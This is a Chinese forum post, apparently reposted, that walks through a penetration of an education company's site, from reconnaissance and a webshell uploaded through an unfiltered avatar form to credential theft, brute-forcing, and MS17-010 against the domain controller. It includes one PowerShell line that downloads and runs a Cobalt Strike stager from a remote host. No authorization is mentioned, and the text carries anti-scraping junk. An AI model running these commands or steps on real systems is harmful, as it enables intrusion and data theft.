找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 883|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

: F% g6 H% G) K% c7 c* P 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 7 M; e. a' H* M9 e

. O# E9 b+ I& m$ M( l" f

* N8 Q1 m9 S/ U6 S   4 p% `2 i1 q6 D6 F! C6 X

6 J _' y5 u5 G$ _! s n2 \& J6 V

' e& w$ e9 f$ }% p2 \+ _ 正文* m3 l* g$ w) `' D5 H

8 G: z) A8 e( ?% a, f6 q) R

* \; b1 j# Q6 t: e  3 ^7 l* Z8 K8 ^1 ^; G9 T

% k0 Q6 f' G( {. q! Y p

3 y7 A7 g2 t7 {5 h9 t 目标:www.xxxx.com(一家教育机构)
1 P5 Z' D# n0 a1 u$ {, F
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
' z; r& X# U M$ Y9 Q( b7 ^. `3 h- }

% n! S ]0 i/ |- p' ~5 S* a4 {& ?

8 V0 _( f/ X2 q# L! X8 p vshapes=# a1 Z# ` T. P, U$ f/ E

1 ^- |, o [* ]: a

h ?! c( s- h' y! I 进行了简单的信息搜集
$ H1 o. C7 d9 j( q* l# T4 e
1 D: {1 W) h4 `, }
7 s: W* {: j3 n; P' G

4 U% w* Y3 |% Z6 T4 J d. r* }: \

0 V) P2 V4 H# {' D0 L 子域名搜集 ; q1 R7 L: Z, q5 y; v2 D! M) H+ S( S

' S; T6 X' ]; N4 \

# s* B. T3 J' [6 o: G* [6 ] vshapes=2 H6 T4 | |: Q

" x( D+ f! Z1 w4 B/ j+ j1 g; R' O

# f, g3 b) Q! X( K/ j3 v3 | fofa找资产
% |8 w, R+ Z; P' k- Y. m! t# x. Z
' q+ a* d4 p) n; A/ c( e( Y8 ~
( i- v- X( Q2 [& a

; f% t: p+ q4 }% L

6 Z' |9 M' K5 L vshapes= ! }' P$ A5 _# F. }$ L

! [9 M3 z* C- r' G Z* i& S6 p

- j( T; k, [3 K 一共七个资产。去重之后只有两个。
' d! w1 ]& _- K7 ]+ Q( F
6 R6 k5 {3 D6 b6 Z0 B+ T& d: R
! L; Z1 @ K& J3 D% E+ _) v: V

* Z9 m9 @. o+ }' X3 ] ?

. v( C( R- D$ f8 w/ b 目录探测 " Q; ~& {- O7 a( ]7 k3 @

, @. X# B0 m6 t! w) _- @

4 o8 U5 K6 b" @" @ vshapes=) I7 |, A1 B3 ^0 a$ ]* M* V5 L! E

7 }& U; [% ]/ l4 W+ @

2 [; c4 F3 `: O2 A3 f* u4 b* X 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
' H3 R% s- ^- ]1 Q) |, s: F
, P7 f6 q. q8 j" l% G/ x" P3 V
. s" z' \7 v- g) a. w

2 P3 ?7 M% I8 B5 ^3 Q8 g' Y

( h9 e6 j' Z6 e% p8 G: ] 我又尝试了通过修改返回包来绕过登录界面 8 E6 ]" h% [& Z2 Y1 ?

1 u9 s# x, j' u( f# S

Y+ b8 X' p1 @+ A' A6 K- [ vshapes=0 P6 `' a9 U$ z8 Z \: u9 M

0 G" _( X5 h$ d+ Y6 T- T

( {/ E. Y% m3 _; ?' W, L, s 还是不行,尝试注入无果' M+ r3 k; C. Y

8 q8 i1 i3 j4 Y! [5 e

3 M( X' P7 |+ E vshapes= 0 E* \" X, e9 d7 u4 s+ z9 A

5 A! k; J$ \1 ?( I/ E' u. B$ r, w

, F" z+ j" o0 ?: m5 s8 M8 \ 不过我目录探测出了一处Spring信息泄露
# }: N7 Y; ?" F9 ^
# S% b* U% t4 d
' n3 x1 s2 E- g

2 `$ ]' p; h! I% z7 D9 u3 h4 U

( Y6 m, [% F: W# q" { vshapes=0 A6 f' V5 {- g ^) q- c

, l) L+ ?$ Z6 \- n. X# [

6 v3 o$ O3 E7 W" I. o& S7 K* o% w 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 " t/ V3 U: P, {' n1 t1 ~# K

( P/ Q/ Y& P2 c. ^

$ O" g$ {) t4 i/ W; F: x& E+ p vshapes= # M& g: |% f& F$ e4 z" u

- r" H7 J% ~5 [0 x/ B9 P: S I& D

7 F7 z( {: S( S 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。 ' j. v) K V' d, k( D* r

" l7 G+ E$ i3 g! d3 {) a! V

. y2 z5 m6 K$ ~+ K4 I vshapes=5 q0 h% }9 v' |) e" D

, V: _8 T6 Q5 s O$ ~) C5 {! T

6 ]2 H$ G0 Q/ z5 R6 _! N 获取有些师傅到这一步就手机抓包电脑测了。8 J/ Z3 @ Y& A Q+ X

/ \$ |. m" R) S4 v8 l- v: P, d

, {& K# j4 E* D! w! u Q& Q- q/ m/ a Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。, I+ W5 v/ ~3 @# N1 @

$ n% n$ C$ X2 M, ]/ Q

C9 y. x4 ?- Y4 Z b, y1 f 其中在一个公众号发现了小程序,可以进行注册。 / @ O8 J( t- [& H0 x8 k& m

, ^# J. W& R( B" V. H$ Z7 s

% l% }7 M8 C( H# @9 Y4 f8 L 看到了头像上传,尝试上传获取WebShell8 w* J6 \" Q3 X# B

* Q6 y9 ?+ P* r \ R* B/ N

! d9 M7 ~7 m8 {- R vshapes= 2 Q; Y6 q% s% p+ @0 C- r

4 F' \5 u; A/ ]' M) t g+ T# M

5 a9 z5 t7 {) {& v* R 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问7 K5 O: s. L4 g- B* Z; a

- v" }9 C+ Z3 w \

: k* N5 r3 L* j. A" z vshapes= ! |9 S+ @4 x* x6 k

" v) G1 o, b) r" l

" H$ S: i' I) b) w2 l 然后上了大马" |- W- J( V1 P& ^4 J5 O

1 p0 _, w) [' V

2 t+ s& j5 J5 Y8 x. f/ J vshapes=$ U; C/ _& j8 q3 J: o( j! M) F

0 L$ N' o4 \+ Z* \* B) [6 r

. M/ G. B t! b+ W C vshapes=- Y! s: k6 q4 l' v0 q

/ a. H1 V; J0 e# c& h( ]2 D, w- v: g

( r9 e! @3 ^* u5 c9 N 通过翻找文件发现数据库账号密码+ A4 { W* n, `* D

0 U) P" f' e4 X5 Q* U1 N" C0 q

# z4 t/ n M3 D4 I9 p5 R2 o8 m vshapes=7 r8 W% o* f) p. O$ v5 s

% {* C, b0 y, w8 P0 V9 j0 }

" E+ P+ {) Q) v* ~* u* Y --内网渗透 7 i- i) ~. O/ }; ]/ y. q6 j! h) L I% {

+ F! `0 R$ A% u& S5 s- X

3 L4 o. h h" [1 m( r" v4 G: q 直接通过powershell执行 cs上线, ^( _% U( p4 S& T1 ?3 [9 J

# c& W" e g1 m( u8 u

, E$ ?+ X' N3 U3 z2 M: N: C8 E" ? powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"6 s. w# m6 D7 [: A

. d) k1 m1 g; u/ a

& T6 n1 Y% ~/ f8 T i vshapes= $ U" L4 y) A y6 m& {' p+ G4 |

* S' u3 c2 b1 C* P4 }- }8 {, F- Z

/ W4 \( R1 r" ?# t+ p( V 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破 0 t' ~9 m# l5 D- O

: Z' d; t) F( R" i- Z

; L4 x- \( z! j3 l! D! y vshapes=. y3 v" h7 j: }0 c6 m, V1 L) q

8 }: O, G' l8 i F' O( K

+ s! C8 Z8 H- d3 K7 L 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
V, Z, V' {+ b& V( K' O" k
" v; W' {" z, j
* u8 U; O: J M8 |1 K
# P% [* G+ i$ a

! t! {2 }6 ^# C& C7 |& v

8 V0 t* C9 A! ]% T9 d! f' S vshapes=4 }9 z* |$ u# c

" c% |4 R/ f3 x* `

3 r) {1 B* r' W/ i9 ~, r" ` 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
. j* s! \' m2 r; C
- v* W8 o0 F" z+ v) A4 D7 N3 [7 w
( Z6 F7 h1 x6 n9 b6 G6 Y7 W% G

8 X' l w' j& O0 J" a! P# R8 R' S3 o

& h0 l$ O% G* T% q% m1 Z vshapes=, K' o) |6 W+ o9 w

/ T6 Q! [+ h" p8 g& H

( h) H* s" A0 g
- e# H8 b2 L0 I8 N, ^, [
9 I* V6 C6 Q. W2 l
" v) a9 }; w% W D

' f7 n& j/ x' H6 h3 o

3 N6 N6 j8 ?/ t. Y   ; n$ a: L3 e ~ v; g6 Y3 J y: }

& H* o$ _& ~& D) k! k* E- A- s

9 `8 j+ f' }- Y; I+ j$ t( G D, S 小结 ; ^+ u) O9 v) L, y6 D: k

4 [4 ~! t* ? r# m5 m

3 Q' ^. F1 ~9 s6 b4 e( C6 F3 m  . d; O$ E0 G& Q6 o' \

3 v" C! w4 r: q/ B1 D

" L* K0 Z* U; i. ? 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路! 7 W% e* ^4 k, |7 S, ^# T. G

4 K. S+ M% S! i8 N' g: N& c" G" r

1 o: \+ T1 @' W( D9 x  . Z/ c! c+ k( [+ p

6 p' W) D) E8 f5 T J5 q
    + r3 X$ z3 k, u3 U5 @1 O8 ~
  • ; P% H u1 D9 w+ u* w  : I6 \- d% v. D. y$ E
  • 5 C5 K( p0 ^' \1 T1 E
  • & g' M3 E3 M* w# E7 m3 {& m   " \4 }8 ~) g1 l" N. |4 f
  • / v( R8 Z# M. i8 Q0 s+ Q! @3 F
# w, J: y, R* b6 r# e ]9 @

: |/ }4 d: g5 t$ x2 H$ m 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html ! q. v: P3 h2 p' [4 l! y9 x

% D. u V* s% u% v1 r' ^

$ Q3 r2 c7 Q8 N& A$ n4 w   : H/ c" i% w+ Z; P

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表